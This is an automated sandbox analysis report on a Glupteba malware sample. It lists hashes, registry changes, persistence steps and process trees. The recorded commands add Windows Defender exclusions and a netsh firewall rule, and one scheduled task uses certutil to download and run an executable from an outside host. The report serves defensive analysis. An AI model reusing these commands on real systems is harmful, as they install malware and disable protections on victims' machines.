Analysis
-
max time kernel
184s -
max time network
209s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
21-05-2022 11:33
Static task
static1
Behavioral task
behavioral1
Sample
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe
Resource
win7-20220414-en
General
-
Target
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe
-
Size
3.8MB
-
MD5
67193ac8dc016383805c5f0782712fba
-
SHA1
a48bb38fa579501b9e28572be7cd99012db3eefd
-
SHA256
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8
-
SHA512
ae51e983ae6f7993fe9bbeb17f769820b030ee82c1e836e3cf4b0d16e1aeda78674b3f9fefa8b6dfc8fa263abaed3a117b56f9f861b0dbae04623721b9ecbf90
Malware Config
Signatures
-
Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/700-56-0x0000000002C20000-0x0000000003317000-memory.dmp family_glupteba behavioral1/memory/700-57-0x0000000000400000-0x0000000000DF8000-memory.dmp family_glupteba behavioral1/memory/1648-63-0x0000000000400000-0x0000000000DF8000-memory.dmp family_glupteba behavioral1/memory/644-70-0x0000000000400000-0x0000000000DF8000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 644 csrss.exe 1684 patch.exe 1292 -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 9 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exepatch.exepid process 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe 876 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1684 patch.exe 1292 -
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d26671056783.exe = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FragrantSnowflake = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d26671056783 = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\FragrantSnowflake = "\"C:\\Windows\\rss\\csrss.exe\"" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
makecab.exe16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220521134707.cab makecab.exe File opened for modification C:\Windows\rss 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe File created C:\Windows\rss\csrss.exe 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1552 schtasks.exe 1432 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exepid process 700 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.execsrss.exedescription pid process Token: SeDebugPrivilege 700 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Token: SeImpersonatePrivilege 700 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe Token: SeSystemEnvironmentPrivilege 644 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.execmd.exedescription pid process target process PID 1648 wrote to memory of 936 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe cmd.exe PID 1648 wrote to memory of 936 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe cmd.exe PID 1648 wrote to memory of 936 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe cmd.exe PID 1648 wrote to memory of 936 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe cmd.exe PID 936 wrote to memory of 1036 936 cmd.exe netsh.exe PID 936 wrote to memory of 1036 936 cmd.exe netsh.exe PID 936 wrote to memory of 1036 936 cmd.exe netsh.exe PID 1648 wrote to memory of 644 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe csrss.exe PID 1648 wrote to memory of 644 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe csrss.exe PID 1648 wrote to memory of 644 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe csrss.exe PID 1648 wrote to memory of 644 1648 16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe"C:\Users\Admin\AppData\Local\Temp\16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe"C:\Users\Admin\AppData\Local\Temp\16846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220521134707.log C:\Windows\Logs\CBS\CbsPersist_20220521134707.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.8MB
MD567193ac8dc016383805c5f0782712fba
SHA1a48bb38fa579501b9e28572be7cd99012db3eefd
SHA25616846abf51f5231ce06d60e290aad3422bc1ba6d5127772b54db6672a79081b8
SHA512ae51e983ae6f7993fe9bbeb17f769820b030ee82c1e836e3cf4b0d16e1aeda78674b3f9fefa8b6dfc8fa263abaed3a117b56f9f861b0dbae04623721b9ecbf90
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
